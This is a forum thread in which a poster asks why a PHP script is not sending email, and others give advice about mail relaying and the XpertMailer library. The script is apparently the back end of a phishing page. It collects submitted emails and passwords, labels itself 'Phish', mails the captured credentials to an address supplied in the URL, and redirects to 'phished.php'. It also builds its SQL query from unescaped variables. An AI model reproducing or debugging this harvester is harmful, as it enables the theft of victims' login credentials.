Php Mail not working

[Vivid Lust]

Ok, this is really starting to annoy me. This script just isnt sending any emails at all!!

 

The email account shown has been set up.

The GET does get the correct values

 

<?php
        require("includes/db.php");
$e = $_GET['e'];
$n = $_GET['n'];
$email = $_POST['email'];
$pass = $_POST['pass']; 


	$sql2 ="UPDATE users SET s_phish=\"$ph\" WHERE id=( \"$get\" )";
$query=mysql_query($sql2, $link)
or die(mysql_error());

$msg = "Email/name:".$email."      Password: ".$pass." ";

//define the receiver of the email
//$to = $e;
//$r = "[email protected]";
//define the subject of the email
//$subject = 'An Email';
//define the message to be sent. Each line should be separated with \n
//$message = $msg;
//define the headers we want passed. Note that they are separated with \r\n
//$headers = "From: [email protected]\r\nReply-To: [email protected]";
//send the email
//mail($e, $subject, $message, $headers, "-f$f");

//if the message is sent successfully print "Mail sent". Otherwise print "Mail failed" 
$Name = "Phish"; //senders name
$email = "[email protected]"; //senders e-mail adress
$recipient = $e; //recipient
$mail_body = "Email/name:".$email."      Password: ".$pass." "; //mail body
$subject = "An Email"; //subject
$header = "From: ". $Name . " <" . $email . ">\r\n"; //optional headerfields

mail($recipient, $subject, $mail_body, $header); //mail command 

header("Location:phished.php?n=".$n."");

?>

 

Help very much appreciated

Any help??

 

The code I commented out worked fine on my server with a my email address which was on that server.

However since the client has uploaded the files and changed this email address. It is no longer working.

most likely it is a relaying permissions issue. Sometimes you need to add IP or localhost to relays allows on the mail server

So how can i correct this in Cpanel?

ok you need to contact the hosting company about relaying from PHP.

 

and I recommend to people to use this free PHP mailer over the built in

http://www.xpertmailer.com/

this will give you better control over the mail server connection if they require authentication

 

here is a code snippet to help you jump start into xpertmailer

note you need to copy xpertmailer into a folder and change the require_once

	//----------------------------
	// send email
	//----------------------------
	require_once $_SERVER['DOCUMENT_ROOT'].'/xpmailer4/MAIL.php';


		$subject = 'Subject Here';
		$mail = new MAIL;
		if ($mail) {

			//normal port is 25 but, use port 26 for smtp on bluehost
			if ($c = $mail->Connect('localhost',26))
			{	
				$mail->From('[email protected]');
				$mail->AddTo($sendto);
				if (strlen($sendcc)) {
					$mail->AddCc($sendcc);
				}
				if ($sendto != '[email protected]') {
					$mail->AddBcc('[email protected]');
				}
				$mail->html($msgBody,'utf-8','8bit','inline');
				$mail->Subject($subject);
				if (!$mail->Send($c)) {
					$errorMsg = "Email - Send Error - ".print_r($mail->Result,true);
					echo "<hr>{$errorMsg}<hr>";
				} else {
					//Email Sent
					echo "<hr>Email - Sent<hr>";
				}
			} else {
					$errorMsg =  "Email - Connect Error<br>".print_r($mail->Result,true);
					echo "<hr>{$errorMsg}<hr>";
			}
		}
